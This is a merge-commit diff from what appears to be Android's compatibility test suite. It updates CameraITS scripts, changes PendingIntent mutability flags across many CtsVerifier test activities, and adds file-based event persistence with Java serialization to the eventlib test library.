Merge "Test DPC on BYOD cannot read hardware identifiers"
diff --git a/apps/CameraITS/pymodules/its/device.py b/apps/CameraITS/pymodules/its/device.py
index 9806359..2e2c775 100644
--- a/apps/CameraITS/pymodules/its/device.py
+++ b/apps/CameraITS/pymodules/its/device.py
@@ -449,6 +449,7 @@
                 self._hidden_physical_id, self._camera_id)
             assert self._hidden_physical_id in physical_ids, e_msg
             props = self.get_camera_properties_by_id(self._hidden_physical_id)
+            self.props = props
         return props
 
     def get_camera_properties(self):
diff --git a/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py b/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
index d8acb2a..cc117be 100644
--- a/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
+++ b/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
@@ -26,7 +26,7 @@
 import numpy as np
 
 JPEG_APPN_MARKERS = [[255, 224], [255, 225], [255, 226], [255, 227], [255, 228],
-                     [255, 235]]
+                     [255, 229], [255, 230], [255, 231], [255, 232], [255, 235]]
 JPEG_DHT_MARKER = [255, 196]  # JPEG Define Huffman Table
 JPEG_DQT_MARKER = [255, 219]  # JPEG Define Quantization Table
 JPEG_DQT_TOL = 0.8  # -20% for each +20 in jpeg.quality (empirical number)
diff --git a/apps/CameraITS/tools/validate_scene.py b/apps/CameraITS/tools/validate_scene.py
index 890cf12..e641718 100644
--- a/apps/CameraITS/tools/validate_scene.py
+++ b/apps/CameraITS/tools/validate_scene.py
@@ -50,6 +50,7 @@
                 "\nThe scene setup should be: " + scene_desc )
         # Converge 3A prior to capture.
         props = cam.get_camera_properties()
+        props = cam.override_with_hidden_physical_camera_props(props)
         cam.do_3a(do_af=do_af, lock_ae=its.caps.ae_lock(props),
                   lock_awb=its.caps.awb_lock(props))
         req = its.objects.fastest_auto_capture_request(props)
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
index d51ea2c..ddaef32 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBRestrictRecordAActivity.java
@@ -152,7 +152,7 @@
             UsbDevice theDevice = (UsbDevice) devices[0];
 
             PendingIntent permissionIntent =
-                    PendingIntent.getBroadcast(context, 0, new Intent(ACTION_USB_PERMISSION), 0);
+                    PendingIntent.getBroadcast(context, 0, new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             IntentFilter filter = new IntentFilter(ACTION_USB_PERMISSION);
             ConnectDeviceBroadcastReceiver usbReceiver =
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
index b7e0fb1..6563e7e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
@@ -19,6 +19,7 @@
 import android.app.AlertDialog;
 import android.content.Context;
 import android.content.DialogInterface;
+import android.content.res.Resources;
 import android.hardware.biometrics.BiometricManager;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
@@ -246,8 +247,9 @@
     }
 
     static boolean deviceConfigContains(Context context, int authenticator) {
-        final String config[] = context.getResources()
-                .getStringArray(com.android.internal.R.array.config_biometric_sensors);
+        final Resources res = context.getResources();
+        final int resId = res.getIdentifier("config_biometric_sensors", "array", "android");
+        final String config[] = res.getStringArray(resId);
         for (String s : config) {
             Log.d(TAG, s);
             final String[] elems = s.split(":");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
index 0718d41..50d5f21 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
@@ -121,12 +121,12 @@
                     .setPackage(getPackageName())
                     .addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
             final PendingIntent onTaskRemoved = PendingIntent.getBroadcast(this, 0,
-                    reportTaskRemovedIntent, 0);
+                    reportTaskRemovedIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM)
                     .setPackage(getPackageName())
                     .addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
-            final PendingIntent onAlarm = PendingIntent.getBroadcast(this, 0, reportAlarmIntent, 0);
+            final PendingIntent onAlarm = PendingIntent.getBroadcast(this, 0, reportAlarmIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             final Intent testActivity = new Intent()
                     .setClassName(HELPER_APP_NAME, HELPER_ACTIVITY_NAME)
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 8a7b624..33112e7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -528,14 +528,14 @@
         session.fsync(out);
         in.close();
         out.close();
-        session.commit(PendingIntent.getBroadcast(this, 0, new Intent(ACTION_INSTALL_COMPLETE), 0)
+        session.commit(PendingIntent.getBroadcast(this, 0, new Intent(ACTION_INSTALL_COMPLETE), PendingIntent.FLAG_MUTABLE_UNAUDITED)
                 .getIntentSender());
     }
 
     private void uninstallHelperPackage() {
         try {
             getPackageManager().getPackageInstaller().uninstall(HELPER_APP_PKG,
-                    PendingIntent.getBroadcast(this, 0, new Intent(ACTION_UNINSTALL_COMPLETE), 0)
+                    PendingIntent.getBroadcast(this, 0, new Intent(ACTION_UNINSTALL_COMPLETE), PendingIntent.FLAG_MUTABLE_UNAUDITED)
                             .getIntentSender());
         } catch (IllegalArgumentException e) {
             // The package is not installed: that's fine
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
index 377d068..3a7f520 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
@@ -60,7 +60,7 @@
         NfcManager nfcManager = (NfcManager) getSystemService(NFC_SERVICE);
         mNfcAdapter = nfcManager.getDefaultAdapter();
         mPendingIntent = PendingIntent.getActivity(this, 0, new Intent(this, getClass())
-                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0);
+                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
index d9166a5..faee902 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
@@ -102,7 +102,7 @@
             NfcManager nfcManager = (NfcManager) getSystemService(NFC_SERVICE);
             mNfcAdapter = nfcManager.getDefaultAdapter();
             mPendingIntent = PendingIntent.getActivity(this, 0, new Intent(this, getClass())
-                    .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0);
+                    .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             goToWriteStep();
         } else {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
index 409dcd9..ea48cce 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
@@ -59,7 +59,7 @@
         Intent intent = new Intent(ACTION);
         intent.setComponent(new ComponentName(context, ActionTriggeredReceiver.class));
         PendingIntent pi = PendingIntent.getBroadcast(context, 0, intent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pi;
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index 2d41e57..4972d00 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -534,7 +534,7 @@
     private Notification.BubbleMetadata.Builder getIntentBubble() {
         Context context = getApplicationContext();
         Intent intent = new Intent(context, BubbleActivity.class);
-        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         return new Notification.BubbleMetadata.Builder(pendingIntent,
                 Icon.createWithResource(getApplicationContext(),
@@ -546,14 +546,14 @@
             @NonNull CharSequence content) {
         Context context = getApplicationContext();
         Intent intent = new Intent(context, BubbleActivity.class);
-        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         Person person = new Person.Builder()
                 .setName("bubblebot")
                 .build();
         RemoteInput remoteInput = new RemoteInput.Builder("reply_key").setLabel("reply").build();
         PendingIntent inputIntent = PendingIntent.getActivity(getApplicationContext(), 0,
-                new Intent(), 0);
+                new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(getApplicationContext(), R.drawable.ic_android);
         Notification.Action replyAction = new Notification.Action.Builder(icon, "Reply",
                 inputIntent).addRemoteInput(remoteInput)
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index 0c7077e..21fcb84 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -415,7 +415,7 @@
         Intent intent = new Intent(tag);
         intent.setComponent(new ComponentName(mContext, DismissService.class));
         PendingIntent pi = PendingIntent.getService(mContext, code, intent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pi;
     }
 
@@ -423,7 +423,7 @@
         Intent intent = new Intent(tag);
         intent.setComponent(new ComponentName(mContext, ActionTriggeredReceiver.class));
         PendingIntent pi = PendingIntent.getBroadcast(mContext, code, intent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pi;
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
index be78556..253749b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
@@ -89,7 +89,7 @@
                                 0,
                                 new Intent(activity, TimeoutResetActivity.class)
                                         .putExtra(EXTRA_OLD_TIMEOUT, oldTimeout),
-                                0));
+                                PendingIntent.FLAG_MUTABLE_UNAUDITED));
             }
         });
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
index b1ce20e..9bad7af 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
@@ -74,7 +74,7 @@
                                             new IntentFilter(ACTION_ALARM));
 
             Intent intent = new Intent(this, AlarmReceiver.class);
-            mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+            mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             mAlarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
index b80be40..3f5b736 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
@@ -298,7 +298,7 @@
         LocalBroadcastManager.getInstance(this).registerReceiver(myBroadCastReceiver,
                                         new IntentFilter(ACTION_ALARM));
         Intent intent = new Intent(this, AlarmReceiver.class);
-        mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+        mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mAlarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
         mScreenManipulator = new SensorTestScreenManipulator(this);
         try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
index e7e55f2..0a96886 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
@@ -198,7 +198,7 @@
         SuspendStateMonitor suspendStateMonitor = new SuspendStateMonitor();
 
         Intent intent = new Intent(this, AlarmReceiver.class);
-        PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+        PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         AlarmManager am = (AlarmManager) getSystemService(ALARM_SERVICE);
         am.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
index 4bbcddc..faee07a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
@@ -151,7 +151,7 @@
 
                             mUsbManager.requestPermission(device,
                                     PendingIntent.getBroadcast(UsbDeviceTestActivity.this, 0,
-                                            new Intent(ACTION_USB_PERMISSION), 0));
+                                            new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED));
                             break;
                         case ACTION_USB_PERMISSION:
                             boolean granted = intent.getBooleanExtra(
@@ -1588,7 +1588,7 @@
 
                             mUsbManager.requestPermission(device,
                                     PendingIntent.getBroadcast(UsbDeviceTestActivity.this, 0,
-                                         new Intent(ACTION_USB_PERMISSION), 0));
+                                         new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED));
                             break;
                     }
                 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
index fa42d82..434540e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
@@ -261,7 +261,7 @@
             mUsbManager.requestPermission(
                     mUsbDevice,
                     PendingIntent.getBroadcast(
-                            MtpHostTestActivity.this, 0, new Intent(ACTION_PERMISSION_GRANTED), 0));
+                            MtpHostTestActivity.this, 0, new Intent(ACTION_PERMISSION_GRANTED), PendingIntent.FLAG_MUTABLE_UNAUDITED));
 
             latch.await();
             assertTrue(mUsbManager.hasPermission(mUsbDevice));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
index 74146f1..23477c2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
@@ -279,14 +279,14 @@
         pass.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId);
         pass.setData(Uri.parse(pass.toUri(Intent.URI_INTENT_SCHEME)));
         final PendingIntent passPendingIntent = PendingIntent.getBroadcast(context, 0, pass,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         final Intent fail = new Intent(context, WidgetCtsProvider.class);
         fail.setAction(WidgetCtsProvider.FAIL);
         fail.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId);
         fail.setData(Uri.parse(fail.toUri(Intent.URI_INTENT_SCHEME)));
         final PendingIntent failPendingIntent = PendingIntent.getBroadcast(context, 0, fail,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         rv.setOnClickPendingIntent(R.id.pass, passPendingIntent);
         rv.setOnClickPendingIntent(R.id.fail, failPendingIntent);
diff --git a/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java b/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
index a7927aa..5b371fa 100644
--- a/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
+++ b/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
@@ -51,6 +51,6 @@
                 .setClass(context, AlarmReceiver.class)
                 .putExtra(EXTRA_ON_ALARM, onAlarm);
         return PendingIntent.getBroadcast(context, 0, alarmIntent,
-                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE);
     }
 }
diff --git a/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java b/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
index 60991b2..eba3bac 100644
--- a/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
+++ b/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
@@ -131,7 +131,7 @@
                         new Intent(ACTION_INLINE_REPLY)
                                 .setComponent(new ComponentName(context, NotificationBot.class))
                                 .putExtra(EXTRA_RESET_REQUEST_INTENT, intent),
-                        PendingIntent.FLAG_UPDATE_CURRENT);
+                        PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE);
         final RemoteInput ri = new RemoteInput.Builder("result")
                 .setLabel("Type something here and press send button").build();
 
diff --git a/common/device-side/eventlib/Android.bp b/common/device-side/eventlib/Android.bp
index f2d800d..a4b6fc9 100644
--- a/common/device-side/eventlib/Android.bp
+++ b/common/device-side/eventlib/Android.bp
@@ -8,6 +8,7 @@
     static_libs: [
         "androidx.test.ext.junit"],
     manifest: "src/main/AndroidManifest.xml",
+    min_sdk_version: "26"
 }
 
 android_test {
@@ -23,8 +24,11 @@
         "androidx.test.ext.junit",
         "ctstestrunner-axt",
         "truth-prebuilt",
-        "testng" // for assertThrows
+        "testng", // for assertThrows
+        "mockito-target-minus-junit4", // TODO(scottjonathan): Remove once we can get rid of mocks
+        "compatibility-device-util-axt", // used for SystemUtil.runShellCommandOrThrow
     ],
     data: [":EventLibTestApp"],
     manifest: "src/test/AndroidManifest.xml",
+    min_sdk_version: "26"
 }
\ No newline at end of file
diff --git a/common/device-side/eventlib/src/main/AndroidManifest.xml b/common/device-side/eventlib/src/main/AndroidManifest.xml
index 269d3de..19ce3fa 100644
--- a/common/device-side/eventlib/src/main/AndroidManifest.xml
+++ b/common/device-side/eventlib/src/main/AndroidManifest.xml
@@ -18,6 +18,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.eventlib">
+    <uses-sdk android:minSdkVersion="26" />
     <application>
         <service android:name="com.android.eventlib.QueryService" android:exported="true"/>
     </application>
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/Event.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/Event.java
index 8c779be..40afafb 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/Event.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/Event.java
@@ -16,6 +16,12 @@
 
 package com.android.eventlib;
 
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
 import java.io.Serializable;
 import java.time.Instant;
 
@@ -38,4 +44,33 @@
     public Instant timestamp() {
         return mTimestamp;
     }
+
+    /**
+     * Serialize the {@link Event} to a byte array.
+     *
+     * <p>The resulting array can be deserialized using {@link #fromBytes(byte[])}.
+     */
+    byte[] toBytes() throws IOException {
+        try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
+             ObjectOutputStream out = new ObjectOutputStream(bos)) {
+            out.writeObject(this);
+            out.flush();
+            return bos.toByteArray();
+        }
+    }
+
+    /**
+     * Deserialize an {@link Event} from a byte array created using {@link #toBytes()}.
+     */
+    static Event fromBytes(byte[] bytes) throws IOException {
+        try (ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
+             ObjectInput in = new ObjectInputStream(bis)) {
+            try {
+                return (Event) in.readObject();
+            } catch (ClassNotFoundException e) {
+                throw new IllegalStateException(
+                        "Trying to read Event which is not on classpath", e);
+            }
+        }
+    }
 }
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogger.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogger.java
index f94dd9b..2caade2 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogger.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogger.java
@@ -50,6 +50,6 @@
         mEvent.mPackageName = mContext.getPackageName();
         mEvent.mTimestamp = Instant.now();
 
-        Events.EVENTS.log(mEvent);
+        Events.getInstance(mContext).log(mEvent);
     }
 }
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
index 17583c1..26775dc 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
@@ -16,6 +16,8 @@
 
 package com.android.eventlib;
 
+import android.os.UserHandle;
+
 import java.util.HashSet;
 import java.util.Set;
 import java.util.function.Function;
@@ -44,6 +46,7 @@
     private final Class<E> mEventClass;
     private final String mPackageName;
     private final transient Set<Function<E, Boolean>> filters = new HashSet<>();
+    private transient UserHandle mUserHandle = null; // null is default, meaning current user
 
     protected EventLogsQuery(Class<E> eventClass, String packageName) {
         if (eventClass == null || packageName == null) {
@@ -70,6 +73,7 @@
         return mQuerier;
     }
 
+    /** Apply a lambda filter to the results. */
     public F filter(Function<E, Boolean> filter) {
         filters.add(filter);
         return (F) this;
@@ -92,4 +96,17 @@
 
     /** Returns true if {@code E} matches the custom filters for this {@link Event} subclass. */
     protected abstract boolean filter(E event);
+
+    /** Query a package running on another user. */
+    public F onUser(UserHandle userHandle) {
+        if (userHandle == null) {
+            throw new NullPointerException();
+        }
+        mUserHandle = userHandle;
+        return (F) this;
+    }
+
+    UserHandle getUserHandle() {
+        return mUserHandle;
+    }
 }
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/Events.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/Events.java
index 12dc032..38c1543 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/Events.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/Events.java
@@ -16,8 +16,16 @@
 
 package com.android.eventlib;
 
+import android.content.Context;
 import android.util.Log;
 
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.time.Duration;
+import java.time.Instant;
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.List;
@@ -28,16 +36,86 @@
 class Events {
 
     private static final String TAG = "Events";
+    private static final String EVENT_LOG_FILE_NAME = "Events";
+    private static final Duration MAX_LOG_AGE = Duration.ofMinutes(5);
+    private static final int BYTES_PER_INT = 4;
 
     /** Interface used to be informed when new events are logged. */
     interface EventListener {
         void onNewEvent(Event e);
     }
 
-    public static final Events EVENTS = new Events();
+    private static Events mInstance;
 
-    private Events() {
+    static Events getInstance(Context context) {
+        if (mInstance == null) {
+            synchronized (Events.class) {
+                if (mInstance == null) {
+                    mInstance = new Events(context.getApplicationContext());
+                    mInstance.initialiseFiles();
+                }
+            }
+        }
+        return mInstance;
+    }
 
+    private final Context mContext; // ApplicationContext
+    private FileOutputStream mOutputStream;
+
+    private Events(Context context) {
+        this.mContext = context;
+    }
+
+    private void initialiseFiles() {
+        loadEventsFromFile();
+        try {
+            mOutputStream = mContext.openFileOutput(EVENT_LOG_FILE_NAME, Context.MODE_PRIVATE);
+            // We clear the file and write the logs again so we can exclude old logs
+            // This avoids the file growing without limit
+            writeAllEventsToFile();
+        } catch (FileNotFoundException e) {
+            throw new IllegalStateException("Could not write event log", e);
+        }
+    }
+
+    private void loadEventsFromFile() {
+        Instant now = Instant.now();
+        try (FileInputStream fileInputStream = mContext.openFileInput(EVENT_LOG_FILE_NAME)) {
+            Event event = readEvent(fileInputStream);
+
+            while (event != null) {
+                if (event.mTimestamp.plus(MAX_LOG_AGE).isBefore(now)) {
+                    continue;
+                }
+                mEventList.add(event);
+                event = readEvent(fileInputStream);
+            }
+        } catch (FileNotFoundException e) {
+            // Ignore this exception as if there's no file there's nothing to load
+        } catch (IOException e) {
+            Log.e(TAG, "Error when loading events from file", e);
+        }
+    }
+
+    private void writeAllEventsToFile() {
+        for (Event event : mEventList) {
+            writeEventToFile(event);
+        }
+    }
+
+    private Event readEvent(FileInputStream fileInputStream) throws IOException {
+        if (fileInputStream.available() < BYTES_PER_INT) {
+            return null;
+        }
+        byte[] sizeBytes = new byte[BYTES_PER_INT];
+        fileInputStream.read(sizeBytes);
+
+        int size = ByteBuffer.wrap(sizeBytes).getInt();
+
+        byte[] eventBytes = new byte[size];
+        fileInputStream.read(eventBytes);
+
+        return Event.fromBytes(eventBytes);
     }
 
     /** Saves the event so it can be queried. */
@@ -45,8 +123,19 @@
         Log.d(TAG, event.toString());
 
         mEventList.add(event); // TODO: This should be made immutable before adding
+        writeEventToFile(event);
         triggerEventListeners(event);
-        // TODO: Serialize in case the process crashes
+    }
+
+    private void writeEventToFile(Event event) {
+        try {
+            byte[] eventBytes = event.toBytes();
+            mOutputStream.write(
+                    ByteBuffer.allocate(BYTES_PER_INT).putInt(eventBytes.length).array());
+            mOutputStream.write(eventBytes);
+        } catch (IOException e) {
+            throw new IllegalStateException("Error writing event to log", e);
+        }
     }
 
     private final List<Event> mEventList = new ArrayList<>();
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
index 04439cd..ff46782 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
@@ -16,6 +16,8 @@
 
 package com.android.eventlib;
 
+import android.content.Context;
+
 import java.time.Duration;
 import java.time.Instant;
 import java.util.concurrent.BlockingDeque;
@@ -28,19 +30,21 @@
  */
 public class LocalEventQuerier<E extends Event, F extends EventLogsQuery> implements EventQuerier<E>, Events.EventListener {
     private final EventLogsQuery<E, F> mEventLogsQuery;
-    private final BlockingDeque<Event> mEvents;
+    private final Events mEvents;
+    private final BlockingDeque<Event> mFetchedEvents;
     private int skippedGet = 0;
 
-    LocalEventQuerier(EventLogsQuery<E, F> eventLogsQuery) {
+    LocalEventQuerier(Context context, EventLogsQuery<E, F> eventLogsQuery) {
         mEventLogsQuery = eventLogsQuery;
-        mEvents = new LinkedBlockingDeque<>(Events.EVENTS.getEvents());
-        Events.EVENTS.registerEventListener(this);
+        mEvents = Events.getInstance(context);
+        mFetchedEvents = new LinkedBlockingDeque<>(mEvents.getEvents());
+        mEvents.registerEventListener(this);
     }
 
     @Override
     public E get(Instant earliestLogTime) {
         int skipped = 0;
-        for (Event event : Events.EVENTS.getEvents()) {
+        for (Event event : mEvents.getEvents()) {
